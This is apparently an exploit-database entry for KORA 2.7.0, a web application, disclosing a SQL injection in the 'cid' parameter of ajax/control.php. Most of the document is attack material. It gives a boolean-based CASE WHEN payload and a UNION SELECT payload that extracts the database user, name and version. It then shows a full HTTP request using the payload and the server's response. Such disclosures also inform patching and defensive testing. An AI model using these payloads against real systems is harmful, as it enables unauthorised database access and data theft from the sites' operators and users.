KORA 2.7.0 - 'cid' SQL Injection

# Exploit Title: KORA 2.7.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.matrix.msu.edu/
# Software Link: https://sourceforge.net/projects/kora/files/latest/download
# Version: 2.7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=[SQL]&keywords=1
# 
# (CASE WHEN (22=22) THEN 22 ELSE 1*(SELECT 22 FROM DUAL UNION SELECT 66 FROM DUAL) END)
# 
# 1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
GET /[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=-1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-&keywords=1 HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 13 Oct 2018 02:01:22 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=pa377tajtaocbeauhd67llk8l4; path=/
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 536
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#